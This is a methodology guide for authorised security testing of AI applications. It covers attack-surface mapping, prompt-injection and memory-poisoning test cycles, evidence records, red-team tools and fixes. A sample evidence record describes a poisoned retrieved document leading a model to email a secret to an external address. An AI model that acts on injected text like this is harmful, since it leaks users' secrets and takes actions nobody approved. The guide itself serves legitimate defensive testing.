AI Security Testing Methodology

Use these techniques only on systems you own or are explicitly authorized to test. Run high-impact checks in an isolated environment with synthetic data, test credentials, controlled callback services, and rollback procedures.

Build the attack-surface map

• Inventory every model, provider, system prompt, RAG source, embedding store, memory store, tool, MCP server, agent, plugin, API, and output consumer.
• Mark trust boundaries. User input, uploaded files, web pages, retrieved documents, tool output, model output, and agent memory are untrusted even when they look authoritative.
• Record identities and privileges for the browser, backend, model provider, vector database, agent runtime, tools, and human approvers.
• Draw data flows for prompts, retrieved context, tool arguments, tool results, model output, logs, and long-term memory.

Prioritize the dangerous paths

• Start with paths where untrusted content can reach a privileged action: shell execution, code runners, email, payments, cloud APIs, source control, ticketing, databases, or file writes.
• Test cross-user and cross-tenant boundaries before cosmetic guardrails. A tenant-isolation failure is usually more severe than a model producing rude text.
• Identify irreversible actions and confirm there is a human approval gate that displays the real target, arguments, and impact.

Run a practical test cycle

• Baseline normal behavior and save complete request/response traces.
• Change one trust boundary at a time: direct prompt, retrieved document, uploaded file, tool result, memory entry, or MCP metadata.
• Observe the final action, not only the model’s words. A model can refuse in text while a backend tool still executes.
• Repeat across fresh sessions, long conversations, languages, encodings, streaming responses, and different user roles.
• Convert every confirmed issue into a regression test and run it whenever prompts, models, tools, retrieval logic, or policies change.

Evidence and severity

• Capture the exact input, model and application version, identity, conversation state, tool calls, arguments, outputs, timestamps, and downstream side effects.
• Rate impact by the capability reached and data exposed, not by how clever the prompt sounds.
• High-risk examples include cross-tenant retrieval, secret leakage, arbitrary internal URL access, code execution, silent destructive actions, and persistent memory poisoning.

Practical test examples

Example evidence record

Test ID: AI-PI-004
Build: app 2.8.1 / model snapshot 2026-07-10
Identity: tenant-a user-17
Source: poisoned document in collection 94
Observed tool call: send_email(to="external@example", body="<retrieved secret>")
Approval shown: no
Side effect: blocked by test SMTP sink
Expected: retrieved text must never authorize a tool call

Useful tools

• garak – automated LLM vulnerability scanner with probes for leakage, jailbreaks, encoding, and unsafe behavior.
• PyRIT – Microsoft framework for orchestrating repeatable AI red-team attacks and scoring responses.
• promptfoo – declarative adversarial evaluations and CI regression testing for prompts, models, and RAG systems.
• Giskard – model and LLM application testing for hallucination, prompt injection, data leakage, and bias.
• Inspect AI – evaluation framework for reproducible model capability and safety tests.
• Burp Suite or Caido – intercept chat requests, alter hidden parameters, replay conversations, and compare authorization behavior.
• curl, HTTPie, or Postman – replay API calls with different users, model IDs, tool settings, and conversation identifiers.
• mitmproxy – inspect streaming APIs, WebSocket traffic, agent callbacks, and model-provider requests in a controlled test.
• Semgrep or CodeQL – trace untrusted prompts and model output into shell, SQL, HTML, file, URL, and deserialization sinks.
• Gitleaks or detect-secrets – find model-provider keys, MCP tokens, and credentials in repositories and logs.
• Syft plus Grype, Trivy, or another SCA scanner – inventory and scan agent frameworks, MCP servers, plugins, containers, and transitive dependencies.

How to fix and retest

1. Enforce policy in deterministic application code. System prompts are instructions for a probabilistic component, not an authorization boundary.
2. Use least-privilege identities, scoped tools, network egress controls, tenant filters, output encoding, and human approval for high-impact actions.
3. Keep evaluation datasets versioned and include direct, indirect, multimodal, multi-turn, and tool-mediated attacks.

Retest checklist

• Repeat the original proof with the same identity, state, model version, and input source.
• Try equivalent variants through every other input channel and fallback model.
• Confirm the control is enforced by the backend or runtime, not only by prompt wording.
• Check logs and alerts, then add the case to a versioned regression suite.

Conclusion

AI security issues are easiest to manage when every piece of content is treated according to its real trust level and every consequential action is controlled outside the model. Keep the test evidence reproducible, limit blast radius, and rerun the suite whenever the model, prompt, retrieval pipeline, tool, server, or policy changes.